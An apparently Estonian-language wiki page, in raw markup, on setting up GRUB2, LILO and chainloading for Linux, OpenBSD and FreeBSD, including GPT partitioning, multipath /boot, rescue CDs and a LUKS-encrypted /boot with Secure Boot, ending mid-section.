Kui UEFI riistavara töötab GRUB2 alglaaduri ja GPT partitsioneeritud kõvakettaga nö otseselt, siis PC-BIOS arvuti puhul tuleb kasutada seejuures mõnda täiendavat võtet. Üldiselt toimub PC-BIOS riistvaral töötava süsteemi alglaadimine selliselt&lt;br /&gt;
&lt;br /&gt;
* kõvakettale on moodustatud kolm GPT partitsiooni&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 &lt;br /&gt;
 Number  Start     End          Size         File system  Name      Flags&lt;br /&gt;
  1      2048s     4095s        2048s                     biosboot  bios_grub&lt;br /&gt;
  2      4096s     1052671s     1048576s                  boot&lt;br /&gt;
  3      1052672s  3905974271s  3904921600s               system&lt;br /&gt;
&lt;br /&gt;
* alglaadimisel loetakse üks alglaaduri aste esimeselt partitsioonilt&lt;br /&gt;
* järgmised astmed ning operatsioonisüsteemi tuum ja initramfs loetakse boot partitsioonilt&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteem asub kolmandal partitsioonil või sellel paiknevalt loogiliselt seadmelt, nt LVM köitelt&lt;br /&gt;
&lt;br /&gt;
====GPT partitsioonide moodustamine====&lt;br /&gt;
&lt;br /&gt;
Kirjeldatud GPT partitsioonide moodustamiseks sobib öelda, eeldusel, et tegeledakse /dev/sdc seadmega&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sdc&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart biosboot 2048 4095&lt;br /&gt;
 (parted) set 1 bios_grub on                                               &lt;br /&gt;
 (parted) mkpart boot 4096 1052671                                         &lt;br /&gt;
 (parted) mkpart system 1052672 3907026943&lt;br /&gt;
 (parted) set 3 lvm on&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb jälgida, et partitsioonide suurused saavad sobivad, kaks esimest võiksid olla suhtliselt universaalselt sobivad&lt;br /&gt;
&lt;br /&gt;
====Failisüsteemide ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
GPT pealt töötava süsteemi saab ettevalmistada nt ühendades vastav plokkseade külge mõnele olemasolevale töötavale süsteemile. Seejärel moodustada seadmele GPT partitsioonitabel, failisüsteemid ning kopeerida sinna töötav süsteem üle, nt rsync abil.&lt;br /&gt;
&lt;br /&gt;
====GRUB2 seadistamine ja paigaldamine====&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* insmod part_gpt - grub2 laadib omale GTP partitsioonitabeli tundmise tarkuse&lt;br /&gt;
* (hd0,gpt2) - näitab millisel GPT partitsioonil asub /boot failisüsteem&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et failisüsteemid on monteeritud öelda&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti käivituma.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/&lt;br /&gt;
* http://www.johannes-bauer.com/linux/wdc/?menuid=3&lt;br /&gt;
* http://grub.enbug.org/BIOS_Boot_Partition&lt;br /&gt;
* http://wiki.archlinux.org/index.php/User:Skodabenz/GPT&lt;br /&gt;
* http://jamie.mayfirst.org/posts/2010/two-tb-disks/&lt;br /&gt;
* http://www.wensley.org.uk/gpt&lt;br /&gt;
&lt;br /&gt;
===GRUB2 alglaaduri kasutamine multipath /boot seadmega===&lt;br /&gt;
&lt;br /&gt;
Eelduseks on&lt;br /&gt;
&lt;br /&gt;
* arvutil puudubvad nö lokaalsed kettad, ka /boot ja edasi juurikas tuleb üle FC võrgu&lt;br /&gt;
* operatsioonisüsteem on juba paigaldatud, kuid millegipärast on bootloader rikkis&lt;br /&gt;
* bootloader iseenesest on paigaldatud, mille kinnituseks on, et arvuti käivitamisel jõuab grub prompti&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning sealt nö käsitsi on võimalik os käivitada, nt&lt;br /&gt;
&lt;br /&gt;
 set root=(hd0,msdos1)&lt;br /&gt;
 linux /vmlinuz-2.6.32-5-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.32-5-amd64&lt;br /&gt;
&lt;br /&gt;
Järgnev aitab juhtumil kui update-grub öeldes vastatakse sedasi, iseenest /boot/grub/grub.cfg kusjuures genereeritakse, aga arvuti siiski ise ei käivitu&lt;br /&gt;
&lt;br /&gt;
 # update-grub    &lt;br /&gt;
 Generating grub.cfg ...&lt;br /&gt;
 Found linux image: /boot/vmlinuz-2.6.32-5-amd64&lt;br /&gt;
 Found initrd image: /boot/initrd.img-2.6.32-5-amd64&lt;br /&gt;
 /usr/sbin/grub-probe: error: cannot find a GRUB drive for /dev/mapper/mpath0-part1.  Check your device.map.&lt;br /&gt;
 /usr/sbin/grub-probe: error: cannot find a GRUB drive for /dev/mapper/mpath0-part1.  Check your device.map.&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Tundub, et mitte käivitumise põhjuseks on ebasobiva sisuga /boot/grub/grub.cfg, eriti ebasobiv root=... seadistus. Abiks võiks olla kasutada sarnase sisuga /etc/grub.d/40_custom seadistusfaili&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/grub.d/40_custom &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 menuentry &amp;quot;Debian mpath&amp;quot; {&lt;br /&gt;
 insmod part_msdos&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,msdos1)&lt;br /&gt;
 linux /vmlinuz-2.6.32-5-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.32-5-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Kui seejärel öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
siis peaks tekkima /boot/grub/grub.cfg sisse täiendav menuentry ning ehk on vaja ka kohendada default menuentri valikut /etc/default/grub failist.&lt;br /&gt;
&lt;br /&gt;
Toodud lahenduse puuduseks on, et rida&lt;br /&gt;
&lt;br /&gt;
 root=(hd0,msdos1)&lt;br /&gt;
&lt;br /&gt;
kasutab ainult ühte multipathi komponenti, ilusam oleks kui ta grub kasutaks ise ka multipathi, aga tundub, et see ei ole Debian v. 6 Squeeze puhul võimalik.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* [[:DM-Multipath kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
&lt;br /&gt;
===OpenBSD alglaadimine===&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et &lt;br /&gt;
&lt;br /&gt;
* Linux on paigaldatud nii, et /boot failisüsteemile vastab fdisk partitsioon /dev/sda1&lt;br /&gt;
* MBR peale on paigaldatud GRUB2 bootloader&lt;br /&gt;
* OpenBSD on paigaldatud nt /dev/sda4 fdisk partitsioonile ja /dev/sda4 peale on paigaldatud OpenBSD bootloader&lt;br /&gt;
&lt;br /&gt;
sobib öelda grub promptis&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; set root=(hd0,msdos4)&lt;br /&gt;
 &amp;gt; chainloader +1&lt;br /&gt;
 &amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
Tulemusena laadib GRUB2 bootloader OpenBSD bootloaderi ning seejärel käivitatakse OpenBSD operatsioonisüsteem. GRUB2 menüü sissekande tekitamiseks sobib kasutada sellise sisuga 40_custom faili&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/grub.d/40_custom&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 &lt;br /&gt;
 menuentry “OpenBSD″ {&lt;br /&gt;
   insmod part_msdos&lt;br /&gt;
   insmod chain&lt;br /&gt;
   set root=(hd0,msdos4)&lt;br /&gt;
   chainloader +1&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ning default valiku kasustamiseks /etc/default/grub failis rida&lt;br /&gt;
&lt;br /&gt;
 GRUB_DEFAULT=&amp;quot;OpenBSD&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Kui RIPLinux pealt ei õnnestu GRUB2 alglaadurit paigaldada RAID seadmele /dev/md/boot, siis sobib kasutada esmaseks OS alglaadimiseks vastavaid komponente niisama; ja seejärel töötava operatsioonisüsteemi vahenditega moodustada RAID seade /dev/md/boot ning paigaldada GRUB2 OS vahenditega sinna.&lt;br /&gt;
* Selleks, et update-grub ei otsiks mööda plokkseadmeid taga operatsioonisüsteeme sobib /etc/default/grub failis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 GRUB_DISABLE_OS_PROBER=true&lt;br /&gt;
&lt;br /&gt;
* Selleks, et ei genereeritaks recovery sissekandeid sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
 GRUB_DISABLE_LINUX_RECOVERY=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kui GRUB teatab kõige algul (aga võib seejärel edasi töötada), siis maksab kahtlustada, et grub-install on jäänud tegemata, või mõnda grub mooduli faili ei leita&lt;br /&gt;
&lt;br /&gt;
 error: file not found&lt;br /&gt;
&lt;br /&gt;
* kui initramfs või grub seadistuste genereerimine segab paketifiltri tööd, siis võib olla abiks asendada skripti&lt;br /&gt;
&lt;br /&gt;
 /etc/kernel/postrm.d/zz-update-grub&lt;br /&gt;
&lt;br /&gt;
sisu ajutiselt&lt;br /&gt;
&lt;br /&gt;
 #! /bin/sh&lt;br /&gt;
 set -e&lt;br /&gt;
 exit 0&lt;br /&gt;
&lt;br /&gt;
===Debian Wheezy puhul kontrollitud===&lt;br /&gt;
&lt;br /&gt;
Kui /boot asub mdadm plokkseadmel, siis on sobiv kasutada grub seadistustes&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 menuentry 'Debian GNU/Linux, with Linux 3.2.0-4-amd64' \&lt;br /&gt;
   --class debian --class gnu-linux --class gnu --class os {&lt;br /&gt;
        load_video&lt;br /&gt;
        insmod gzio&lt;br /&gt;
        insmod raid&lt;br /&gt;
        insmod mdraid1x&lt;br /&gt;
        insmod part_msdos&lt;br /&gt;
        insmod ext2&lt;br /&gt;
        set root='(mduuid/34d523e98c385e95b842b2a9a9b21821)'&lt;br /&gt;
        search --no-floppy --fs-uuid \&lt;br /&gt;
          --set=root 044fbb88-658b-410d-bc53-6b4ce1cff26b&lt;br /&gt;
        ...&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* mduuid - mdadm seadme UUID&lt;br /&gt;
&lt;br /&gt;
 # mdadm -D /dev/md/boot | grep UUID&lt;br /&gt;
           UUID : 34d523e9:8c385e95:b842b2a9:a9b21821&lt;br /&gt;
&lt;br /&gt;
* search ... 044fbb88-658b-410d-bc53-6b4ce1cff26b - mdadm seadme blkid&lt;br /&gt;
&lt;br /&gt;
 # blkid /dev/md/boot            &lt;br /&gt;
 /dev/md/boot: UUID=&amp;quot;044fbb88-658b-410d-bc53-6b4ce1cff26b&amp;quot; TYPE=&amp;quot;ext3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===LILO kasutamine===&lt;br /&gt;
&lt;br /&gt;
Mõnel juhul ei õnnestus GRUB bootloaderit kasutada. Nt esimene paritsioon asub liiga lähedal kõvaketta algusele vms. Siis võib paremate variantide puudumisel abistada LILO bootloader. Tarkvara (mitte bootloaderi enda) paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install lilo&lt;br /&gt;
&lt;br /&gt;
Esmase sisuga seadistusfaili tekitamiseks&lt;br /&gt;
&lt;br /&gt;
 # liloconfig&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^#|^$&amp;quot; /etc/lilo.conf &lt;br /&gt;
 lba32&lt;br /&gt;
 boot = /dev/sda&lt;br /&gt;
 map = /boot/map&lt;br /&gt;
 install = menu&lt;br /&gt;
 menu-scheme = Wb:Yr:Wb:Wb&lt;br /&gt;
 delay = 200&lt;br /&gt;
 prompt&lt;br /&gt;
 timeout = 100&lt;br /&gt;
 vga = normal&lt;br /&gt;
 default = &amp;quot;Linux_LVM_sda3&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 other = /dev/sda1&lt;br /&gt;
   label = Windows&lt;br /&gt;
 &lt;br /&gt;
 image = /boot/vmlinuz-3.13-1-486&lt;br /&gt;
   label = &amp;quot;Linux LVM sda3&amp;quot;&lt;br /&gt;
   root = /dev/system/root&lt;br /&gt;
   read-only&lt;br /&gt;
   initrd = /boot/initrd.img-3.13-1-486&lt;br /&gt;
 &lt;br /&gt;
 image = /boot/vmlinuz-3.12-1-486&lt;br /&gt;
        label = &amp;quot;Linux sda2&amp;quot;&lt;br /&gt;
        root = /dev/sda2&lt;br /&gt;
        read-only&lt;br /&gt;
        initrd = /boot/initrd.img-3.12-1-486&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kasutatakse kolme boot valikut, Windows ja kaks Linuxi eksemplari&lt;br /&gt;
* boot - kus on boot record (nt kas master boot record (/dev/sda), või partition boot record (/dev/sda2)&lt;br /&gt;
* root = kus on vastava boot valiku juurfailisüsteem (nt LVM või partitsiooni peal olevas failisüsteemis)&lt;br /&gt;
* Linux LVM sda3 - vaikimisi valik&lt;br /&gt;
&lt;br /&gt;
LILO paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # lilo&lt;br /&gt;
 Added Windows  &lt;br /&gt;
 Added Linux_sda3  +  *&lt;br /&gt;
 Added Linux_sda2  +&lt;br /&gt;
&lt;br /&gt;
===FreeBSD alglaadimine===&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; insmod part_bsd&lt;br /&gt;
 grub&amp;gt; insmod ufs2&lt;br /&gt;
 grub&amp;gt; set root=(hd0,msdos3,bsd1)&lt;br /&gt;
 grub&amp;gt; kfreebsd /boot/loader&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* FreeBSD on enda meelest /dev/ad0s3a partitsioonil&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://debiania.in.ua/posts/2013-09-30-dualbooting-debian-and-freebsd.html&lt;br /&gt;
&lt;br /&gt;
===GRUB2 CD plaadi valmistamine===&lt;br /&gt;
&lt;br /&gt;
Harva, aga osutub, vahest ei õnnestu sugugi arvuti lokaalsele kõvakettale paigaldada alglaadurit nii, et ta ka alglaadiks. Üks variant on proovida erinevaid alglaadureid, ja erinevaid BIOS/UEFI seadeid, aga vahest ikkagi ei õnnestu. Üks alternatiiv selliselt juhul on seada arvuti bootima CD plaadilt. Käesolevas punktis kirjeldatakse sellise CD tõmmise ettevalmistamist, mille kasutamisel esmalt kuvatakse kasutajale tavaline GRUB menüü. Lisaks saab juhtida plaadile kirjutatud GRUB seadistusfailiga grub.cfg, mis edasi juhtub, nt on võimalikud sellised variandid&lt;br /&gt;
&lt;br /&gt;
* kasutajat rahuldab töötavasse grub prompti sattumine ja sealt saab ise edasi linux, initrd jt käskudega&lt;br /&gt;
* plaadil on tuum ja initrd ning arvuti kõvakettal olev juurfailisüsteem booditakse nendega&lt;br /&gt;
* plaadil olev grub.cfg viitab kõvakettal asuvale /boot/i386-pc/core.img failile ja praktiliselt käivitatab kõvakettal oleva grub alglaaduri&lt;br /&gt;
&lt;br /&gt;
Tõmmise valmistamise eelduseks on xorriso programmi olemasolu, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install xorriso&lt;br /&gt;
&lt;br /&gt;
Seejärel moodustada kataloog kuhu paigutatakse tekitatava tõmmise sisu, loogiline on see täita olemasoleva /boot sisuga&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/tmp/iso&lt;br /&gt;
 # cp -a /boot /var/tmp/iso&lt;br /&gt;
&lt;br /&gt;
Vajadusel saab moodustada grub.cfg faili ilma kõvakettal olevat faili muutmata&lt;br /&gt;
&lt;br /&gt;
 # grub-mkconfig -o /var/tmp/iso/boot/grub/grub.cfg&lt;br /&gt;
&lt;br /&gt;
Tekitada iso tõmmis&lt;br /&gt;
&lt;br /&gt;
 # grub-mkrescue -o grub.iso iso&lt;br /&gt;
&lt;br /&gt;
Tõmmise plaadile kirjutamiseks sobib kasutada käske&lt;br /&gt;
&lt;br /&gt;
 # wodim -v dev=/dev/sr0 blank=fast&lt;br /&gt;
 # wodim -v speed=8 dev=/dev/sr0 grub.iso&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab arvuti CD plaadilt käivitada.&lt;br /&gt;
&lt;br /&gt;
Selleks, et käivitada süsteem core.img abil sobib öelda GRUB2 promptis või grub.cfg failis&lt;br /&gt;
&lt;br /&gt;
 multiboot /grub/i386-pc/core.img&lt;br /&gt;
&lt;br /&gt;
Kui peaks mingil põhjusel olema tarvis genereerida uus core.img (ja taustal tehakse veel hulka muid tegevusi) sobib öelda&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.gnu.org/software/grub/manual/html_node/Making-a-GRUB-bootable-CD_002dROM.html&lt;br /&gt;
&lt;br /&gt;
===GRUB2 USB pulga valmistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===GRUB booloaderist arvuti lokaalses failisüsteemis asuva ISO tõmmise bootimine===&lt;br /&gt;
&lt;br /&gt;
Kui arvutis ei ole kasutada mingit nö tavalist seadet, millelt install tõmmis bootida, nt CD/DVD või USB, aga arvutis on GRUB2 bootloader, siis sellega saab käivitada mõnel kõvakettal või partitsioonil olevast failisüsteemist tõmmist kasutada&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; loopback loop (hd1,msdos1)/centos.iso&lt;br /&gt;
 grub&amp;gt; linux (loop)/isolinux/vmlinuz&lt;br /&gt;
 grub&amp;gt; initrd (loop)/isolinux/initrd.img&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
Tulemusena avaneb os installer. Vajadusel kopeerida iso tõmmise sisu samuti kohaliku ketta failisüsteemi.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/Grub2/ISOBoot&lt;br /&gt;
&lt;br /&gt;
===Debian v. 8 Jessie kopeerimine ja GRUB2 paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et Debian v. 8 Jessie kopeerimisel saab GRUB2 bootloaderi paigaldada selliselt&lt;br /&gt;
&lt;br /&gt;
* bootida üles SystemRescueCD plaadilt (nb! tundub, et systemd kasutamise tõttu 'boot existing root file system ...' valik ei toimi)&lt;br /&gt;
* failisüsteemid on tehtud ja ära kopeeritud ja külge ühendatud /mnt/root ja /mnt/root/boot alla&lt;br /&gt;
* teha bind mountid&lt;br /&gt;
&lt;br /&gt;
 # mount --bind /dev /mnt/root/dev&lt;br /&gt;
 # mount --bind /proc /mnt/root/proc&lt;br /&gt;
 # mount --bind /sys /mnt/root/sys&lt;br /&gt;
&lt;br /&gt;
* minna keskkonda&lt;br /&gt;
&lt;br /&gt;
 # chroot /mnt/root /bin/bash&lt;br /&gt;
&lt;br /&gt;
* paigalda grub kõik stage'd (nii kasutatakse loodetavasti õigeid plokkseadmete uuid väärtusi jms)&lt;br /&gt;
&lt;br /&gt;
 # grub-install --no-floppy --recheck --root-directory=/mnt/root /dev/sda&lt;br /&gt;
&lt;br /&gt;
* bootida käisitsi grub&amp;gt; promptist süsteem üles kui grub.cfg faili ei leita (eeldusel, et /boot on /dev/sda1)&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; set root='hd0,msdos1'&lt;br /&gt;
 grub&amp;gt; linux ...&lt;br /&gt;
 grub&amp;gt; initrd ...&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
* paigaldada vajadusel (igaks juhuks) uuesti kõik grub stage'd&lt;br /&gt;
&lt;br /&gt;
 # grub-install /dev/sda&lt;br /&gt;
&lt;br /&gt;
* genereerida grub.cfg (nii kasutatakse kindalsti õigeid plokkseadmete uuid väärtusi jms)&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
* tulemusena peaks arvuti ise üles bootima&lt;br /&gt;
&lt;br /&gt;
===Krüptitud /boot ja GRUB kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käeolev tekst kirjeldab kuidas ...&lt;br /&gt;
&lt;br /&gt;
====Legacy lahendus====&lt;br /&gt;
&lt;br /&gt;
Nö tavaliselt ehk legacy juhtumil&lt;br /&gt;
&lt;br /&gt;
* secure boot on välja lülitatud&lt;br /&gt;
* arvutit kasutatakse BIOS ehk non-uefi režiimis&lt;br /&gt;
* Linux swap, juurfailisüsteem ja muud failisüsteemid v.a. /boot failisüsteem on krüptitud&lt;br /&gt;
* krüptimiseks kasutatakse LUKS (nn cryptsetup) lahendust&lt;br /&gt;
&lt;br /&gt;
Lahendus&lt;br /&gt;
&lt;br /&gt;
* tagab, et välja lülitatud arvuti varastamisel ei saa failisüsteemidele (v.a. /boot/efi ligi)&lt;br /&gt;
* ei taga Evil Maid Attack vastu kaitset&lt;br /&gt;
&lt;br /&gt;
====Secure Boot lahendus====&lt;br /&gt;
&lt;br /&gt;
Nn Secure Boot juhtumil&lt;br /&gt;
&lt;br /&gt;
* secure boot on sisse lülitatud&lt;br /&gt;
* arvutit kasutatakse uefi režiimis s.h. /boot/efi tuleb ESP failisüsteemist&lt;br /&gt;
* kõik v.a. /boot/efi failisüsteem on krüptitud&lt;br /&gt;
* /boot/efi failisüsteemis asuvad efi rakendused ja nende autentsust kontrollitakse Secure Boot abil&lt;br /&gt;
* töökohaarvuti operatsioonisüsteemine kasutatakse Debian operatsioonisüsteemi&lt;br /&gt;
&lt;br /&gt;
Lahendus&lt;br /&gt;
&lt;br /&gt;
* tagab, et välja lülitatud arvuti varastamisel ei saa failisüsteemidele (v.a. /boot/efi ligi)&lt;br /&gt;
* ei ole teostatav nn evil maid attact (nt paha saab ajutiselt väljalülitatud arvuti enda valdusse; eemaldab füüsiliselt kõvaketta, asendab /boot/efi failisüsteemis midagi ja paneb arvuti vaikselt nö oma kohale tagasi)&lt;br /&gt;
&lt;br /&gt;
Kasutamine näeb lõpuks välja nii&lt;br /&gt;
&lt;br /&gt;
* arvutile toite sisselülitamise järel küsitakse efi parooli selleks, et arvutiga üldse midagi teha saaks (mitte Setup keskkonda sisse logimiseks; kuigi ka seal on parool ees)&lt;br /&gt;
* seejärel küsib grub efi rakendus parooli selleks, et tuuma jms kasutada&lt;br /&gt;
&lt;br /&gt;
 Attempting to decrypt master key ...&lt;br /&gt;
 Enter passphrase for hd0.gpt7 (0c...):&lt;br /&gt;
&lt;br /&gt;
* seejärel ilmub tavaline grub menüü, bootida krüptitud juurfailisüsteemiga&lt;br /&gt;
* seejärel küsitakse sama parooli juurfailisüsteemi kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Please unlock disk /dev/sda7 (c_sda7):&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteem käivitatakse ja arvuti saab kasutada tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on&lt;br /&gt;
&lt;br /&gt;
* secure boot toega riistvara&lt;br /&gt;
* paigaldatud nö tavaline Debian Linux&lt;br /&gt;
* riistvara kasutatakse uefi režiimis ja gpt partitsioonitabeliga&lt;br /&gt;
* /dev/sda seadmel on piisavalt kasutamata ruumi krüptitud plokkseadmele vastava partitsiooni tekitamiseks&lt;br /&gt;
* paigaldatud cryptsetup pakett&lt;br /&gt;
&lt;br /&gt;
====Krüptitud lahenduse tekitamine====&lt;br /&gt;
&lt;br /&gt;
NB! Antud lahendus ei kaitse nn Evil Maid Attack eest.&lt;br /&gt;
&lt;br /&gt;
* secure boot on välja lülitatud&lt;br /&gt;
* käivitada süsteem tavalisel viisil&lt;br /&gt;
* tekitada /dev/sda7 gpt partitsioon&lt;br /&gt;
* tekitada /dev/sda7 alusel cryptsetup seade /dev/mapper/c_sda7&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
* tekitada lvm köide /dev/c_sda7_vg/root&lt;br /&gt;
&lt;br /&gt;
 # pvcreate /dev/mapper/c_sda7&lt;br /&gt;
 # vgcreate c_sda7_vg /dev/mapper/c_sda7&lt;br /&gt;
 # lvcreate -L20G -n root c_sda7_vg&lt;br /&gt;
 # lvcreate -L4G -n swap c_sda7_vg&lt;br /&gt;
&lt;br /&gt;
* kopeerida juurfailisüsteem ümber LVM snapshot abil&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L4G -s -n root_ss /dev/system/root&lt;br /&gt;
 # mount /dev/system/root_ss /mnt/root_ss&lt;br /&gt;
 # mount /dev/c_sda7_vg/root /mnt/root_crypted&lt;br /&gt;
 # rsync -avHAX --numeric-ids /mnt/root_ss/ /mnt/root_crypted/&lt;br /&gt;
&lt;br /&gt;
* tekitada ajutiselt sobiva sisuga /etc/crypttab&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/crypttab &lt;br /&gt;
 # &amp;lt;target name&amp;gt;	&amp;lt;source device&amp;gt;		&amp;lt;key file&amp;gt;	&amp;lt;options&amp;gt;&lt;br /&gt;
 c_sda7 /dev/sda7 none luks,discard,initramfs&lt;br /&gt;
&lt;br /&gt;
* tekitada crypttab toega initramfs&lt;br /&gt;
&lt;br /&gt;
 # update-initramfs -u&lt;br /&gt;
&lt;br /&gt;
* muuta krüptitud juurfailisüsteemi /etc/fstab sisu sobivaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab &lt;br /&gt;
/dev/mapper/c_sda7_vg-root    /               ext4    errors=remount-ro    0       1&lt;br /&gt;
/dev/sda1                     /boot/efi       vfat    umask=0077           0       1&lt;br /&gt;
/dev/mapper/c_sda7_vg-swap    none            swap    sw                   0       0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* bootida arvuti krüptimata /boot abil krüptitud juurfailisüsteemilt (NB! alljärgnevaad käsud antakse krüptitult booditud arvutist)&lt;br /&gt;
* lülitada sisse grub bootloaderis krüpto&lt;br /&gt;
&lt;br /&gt;
 # grep CRYPTO /etc/default/grub&lt;br /&gt;
 GRUB_ENABLE_CRYPTODISK=y&lt;br /&gt;
&lt;br /&gt;
* moodustada uus grub efi rakendus eraldi uefi boot valikuna&lt;br /&gt;
&lt;br /&gt;
 grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=dc --recheck&lt;br /&gt;
 grub-mkconfig -o /boot/efi/EFI/dc/grub.cfg&lt;br /&gt;
&lt;br /&gt;
Kui tulemusena arvuti bootida dc valiku abil, siis küsib grub efi rakendus juurfailisüsteemi LUKS parooli selleks, et saada ligi juurfailisüsteemile sealt tuuma ja initrd kasutamiseks. Seejärel küsitakse enne juurfailisüsteemi monteerimist jällegi sama parooli.&lt;br /&gt;
&lt;br /&gt;
* genereerida secure boot võtmed, bootida arvuti setup keskkonda, juurutada sb võtmed ja lülitada sb sisse&lt;br /&gt;
* moodustada objcopy&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat 20170521/mk.sh &lt;br /&gt;
objcopy \&lt;br /&gt;
    --add-section .osrel=/etc/os-release --change-section-vma .osrel=0x20000 \&lt;br /&gt;
    --add-section .cmdline=&amp;quot;cmdline.txt&amp;quot; --change-section-vma .cmdline=0x30000 \&lt;br /&gt;
    --add-section .linux=&amp;quot;vmlinuz-4.9.0-3-amd64&amp;quot; --change-section-vma .linux=0x40000 \&lt;br /&gt;
    --add-section .initrd=&amp;quot;initrd.img-4.9.0-3-amd64&amp;quot; --change-section-vma .initrd=0x3000000 \&lt;br /&gt;
    /usr/lib/systemd/boot/efi/linuxx64.efi.stub /boot/efi/EFI/dc/grubx64.efi-objcopy&lt;br /&gt;
